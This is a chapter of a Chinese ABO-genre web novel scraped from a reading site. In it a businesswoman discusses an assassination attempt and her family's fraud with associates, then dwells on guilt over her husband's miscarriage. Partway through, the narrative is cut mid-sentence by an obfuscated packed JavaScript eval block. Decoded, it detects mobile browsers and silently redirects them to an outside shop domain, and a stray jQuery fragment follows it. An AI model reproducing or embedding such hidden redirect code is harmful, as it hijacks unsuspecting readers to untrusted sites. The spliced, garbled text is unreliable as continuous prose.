文趣网 > 其他小说 > 求老婆亲亲[gb] > 6. 老婆好快
    但是郁恪没有拒绝的权利。

    下班后他开车将褚安送过去,暮色四合,枕眠馆的牌匾亮着暖白色的光。

    要不是事先知道这是什么地方,可能就只会把它当成某家小众餐馆了,毕竟这外面的装修确实很像那么一回事儿。

    事实上也确实是另类的餐馆……

    郁恪欲言又止。

    但他还没说话,褚安倒是先看过来,“你要不要去?”

    郁恪一阵恶寒,连连摇头,“不去不去,”他又偏头看看褚安,伸手解开她的安全带,“老婆你注意安全。”

    褚安神情微妙,但也没做什么解释,相反,居然觉得有点好笑。

    丈夫以为妻子出来寻欢作乐,却不加阻止,只说“注意安全”?郁恪你脑子里都在想什么。

    褚安轻哼一声,抬手看了眼腕表,“十一点半左右来接我。”

    郁恪窝囊中还有开心:“你不在这儿过夜?”

    褚安没说话,下车重重关上车门。

    郁恪看着她进去,趴方向盘上长叹一声,来回跑也麻烦,他就将车停在车位,中午难受没吃饭,现在饿的厉害,他背着自己的挎包下车,出去找地方吃点东西。

    褚安是最后一个到的,推开包厢的时候沙发上坐了三个人,一个盘串,一个抽烟,还有一个粉毛。

    “呦呵,褚总来得挺早。”

    褚安看也不看说话的人,坐到主位上,抬手给自己倒了杯水,“把烟掐了。”

    “啧,你不说我都忘了你讨厌这个,”肖榭将烟按进烟灰缸里,“吃饭了没?刚才点了烧烤,你要不再加点儿?”

    褚安手上的戒指在光下熠熠生辉,“不加,速战速决,不要浪费我时间。”

    “有家室的人就是不一样,”肖榭啧啧感叹,“那赶紧的吧,我等会儿也要回家,不然有人催呢。”

    沉沅笑了一声,盘着手上的沉香珠串:“你家有谁?”

    肖榭一本正经:“我妈在家等我呢,十二点之前不回家我命就没了。”

    沉沅莞尔一笑,“我还以为老铁树开花了呢,不过想来也是,谁喜欢家宝男。”

    “不是,我怎么就家宝男了?说话别这么难听啊。”

    没人搭理他,沉沅把手上拿的资料放桌上往前一推,“褚安你看看,资料全部出来了。”

    褚安拿起来翻开,锁着眉。

    沉沅继续道:“这次是下了血本,铁了心要你死,请的是国际上很有名的雇佣兵,要的是你的命。”

    “这个项目事关重大,也是你近年第一次出国,且滞留时间长,是他们下手的最好的机会。”

    “看着是和A国的项目交易,公司决策层也都以为是A国,但实际上只有我们四个知道这是C国的项目,你落地A国之后先去了B国,又辗转到了C国,最后在我们真正前往E国汇合之前,他们就一直在追踪你。简言之,从你落地的那一刻就开始了。”

    “后来不知道怎么回事,行踪意外泄露,他们立马就飞到了E国,展开追杀。E国本身就够乱的,死你一个外国人也不算什么。”

    “不过好在我们只是中了几枪,没伤到要害。”

    “但我们查了一个多月,始终没有查到这个行踪是怎么泄露的。”

    “我们有所预料,所以为了保证安全做了十足的准备,但还是泄露了。我猜测可能是有内鬼,在我们四个之间……不过首先排除你,当然也不可能是我,我老公才生完孩子,我刚回国都没见着呢,没必要冒这个险背叛你,从中也得不到好处,何况一旦暴露还会拖累我一家。”

    肖榭摸着下巴:“也不可能是我,我虽然是单身汉,但我有爸有妈也不缺钱,最重要的是我没这个脑子和褚家交易。”

    “要是我的话那更不可能了,我家本来就跟褚家是世敌。”

    世敌怎么都出来了。

    褚安:“……安静。”

    三人异口同声:“哦。”

    “泄露行踪的人我有猜测,往后这个事情不用再提,况且来杀我的都死了,”褚安木着脸,将手头资料全翻看一遍后丢出去,“棉花,褚家名下产业的资金漏洞有全部整理好么?”

    棉花嚼着泡泡糖,闻言点点头,一头粉毛格外扎眼,嗓音暗哑:“都发你私人邮箱了,证据在两年前就已经开始搜集,目前已全部按照年份整理完毕,大的资金漏洞一共有四个,小的数不清了,简直就是蚂蚁窝,这边缺一块就挖另一边补……出乎意料,十几年前褚家的工地上还发生过命案,但是被压下去了。”

    肖榭高呼:“所以现在可以收网了吗?哎,要不现在就举报呗!我实在是忍不了了!”

    棉花吐出泡泡,又咬破,“单是偷/税/漏/税/做/假/账/就够他们进去吃牢饭了,别说还有命案,这次追杀要不要也整理一下,一同递上去?”

    褚安想也不想:“不要,追杀的事情不要和任何人说。”

    沉沅疑惑:“为什么?这个事情不披露出来,你的名声可能会受损,公司股票有下跌风险。”

    褚安脑海里浮现出自己丈夫的双眸,泪雾盈盈。

    “这点损失不算什么。”

    “可是我们明明可以避免这部分损失。你不理智,你在担忧什么?”

    褚安沉默两秒,“我虽然被他们遗弃过十几年,但回来后也受了他们的恩惠,没有他们的托举我不会有学识,没有学识我就不可能脱离褚家出来立足。”

    “刚成立公司时资金有所紧缺,是他们以成年礼物的名义给了我一张八千万的卡,虽然后面加倍还回去了,但当时确实解了燃眉之急。这点损失,就当还他们的了。”

    “真的?”

    “你闭嘴吧。”

    棉花扎着双马尾,两手各卷起一缕头发,“也行,咱不欠他们的,反正上面两件事情就够他们翻不起身了。”

    肖榭还是有点不太懂:“可是之前对你还不错,为什么现在要你命了呢?难不成你根本就不是褚安?”

    褚安:“……你惊悚片看多了吧?”

    “你跟他说什么,他怎么可能会懂?”沉沅快要笑死了,“他独生子,他家就他一个,谁不宠着他。”

    肖榭:“……可是褚安你也不是独生女么?”

    “你忘记她叔父家的儿子了?那小男孩现在不是二十了?褚安她爸妈又是缺心眼的,胳膊肘向外拐。他们现在就是想要把公司全部拿走。”

    肖榭更糊涂了,要他查东西那是不在话下,可谈起这些就没头绪。

    他跳起来:“褚安,你手上有褚家的资产?那我们这怎么搞?别到时候你也跟着进去了!”

    褚安:“和我有什么关系?我连分红都没拿。从始至终我就没碰过褚家的产业,他们把一部分给我之后我全部给了我叔父的儿子,这是我们之间的交易。而他们划给我的东西都是些小玩意儿,他们不会想起来查到底是谁掌控的。”

    “不过是这些年发现我自己的产业越做越大,不服从他们管教了,给他们造成了障碍,这才

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838389|211556||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想要个把柄牵制我,或者是再培养一个更听话的继承人,将我取代。”

    沉沅理解她的处境,立马反应过来:“他们想要抱孙子。”

    褚安和他击了个掌,“就是这个意思。”

    肖榭挠头:“你老公怀上了?”

    褚安浑身一僵,舌尖抵了抵牙,有点别扭似的,“流了。”

    一时间包厢都静了静,这是他们所不知道的。

    “那什么,你节哀顺变啊。”

    沉沅一巴掌扇上肖榭的后脑勺,“你不会说话别说话。”

    棉花眨眨眼:“那……还没怀上为什么要杀你?”

    沉沅不轻不重拍上她的后背,“又没说当场就要死,Alpha精子活性很强的,取完精……哎呦我去我在说什么,你个Omega不要瞎打听,老老实实吃你那泡泡糖吧,你点的东北大油边马上来了。”

    褚安罕见地有些坐立不安,指腹转着素圈金戒,“那什么,我回家了。沉沅你,明天准备准备去税务机关举报吧,要交的材料都准备好,命案那个去警局交材料。”

    “交给我你就放心吧。”

    褚安往外走。

    大半年过去了,她才后知后觉为她的丈夫和她的孩子感到愧疚。

    他们竟是因为这些而受伤,而离去的吗?

    然而在这一切事宜结束前,在褚家彻底覆灭前,郁恪仍不能怀上他们的孩子。

    她忽而又想起郁恪说的,生殖腔很痛。

    连吃避孕药都会很痛很痛,痛到宁可忤逆她也不愿意吃,那流产时又会是什么样的痛呢?

    Alpha的生殖腔发育并不完全,紧闭着,要费很大力气才能进去一点点,而每每那时,郁恪连哭都哭不出来,喘息艰难,像被扼住了喉咙……机械器具要怎么进去引出血肉?

    褚安现在只想要回家。

    而到了楼下秋风一吹,她才想起来郁恪十一点半才会过来。

    凉风中她越来越清醒——这些都是不可以和郁恪说的,她不能软化,郁恪是褚家的人,必须等一切落下帷幕。

    可那时候还有必要说吗?

    结婚协议还有两个月零二十天到期,他们婚姻会在那天零点终止,如果没有提前一天去民政局取消协议,早上六点民政局就会准时把离婚证送到门口。

    而她一直坚持履行的所谓的妻子义务,真的不可笑吗?到底是履行义务还是满足一己私欲?

    履行履行,到头来连丈夫受过的伤痛都无法抚平,甚至此刻才意识到那些痛有多么残忍……褚安,你真的是一位合格的妻子吗?

    你在成长中极力避免自己成为像父母一样的人,可是现在,你还是成为了他们,甚至远比他们冷酷无情,远比他们心狠。你的手上有一个无辜的生命,那是你和丈夫的结晶……你有看到过它的挣扎吗?遥远的它会不会哭泣?

    郁恪会不会流泪,会不会怨恨你?

    这还用想么。

    褚安决定此后不再碰郁恪。

    毕竟郁恪和她结合时总是哭泣,想来并不是舒适的。

    最后一段时间,还是给他一点关照吧,万事讲求一个好聚好散。

    如果郁恪提及,她甚至可以帮他介绍再婚对象,绝对不会差的,不会委屈他。

    夜风卷起落叶。

    褚安罕见地感到伤心,抬眼,却见郁恪站在马路对面,抱着一袋不知道什么东西,先是睁大了眼,随即歪头对她笑。

    褚安,你的丈夫真是蠢死了。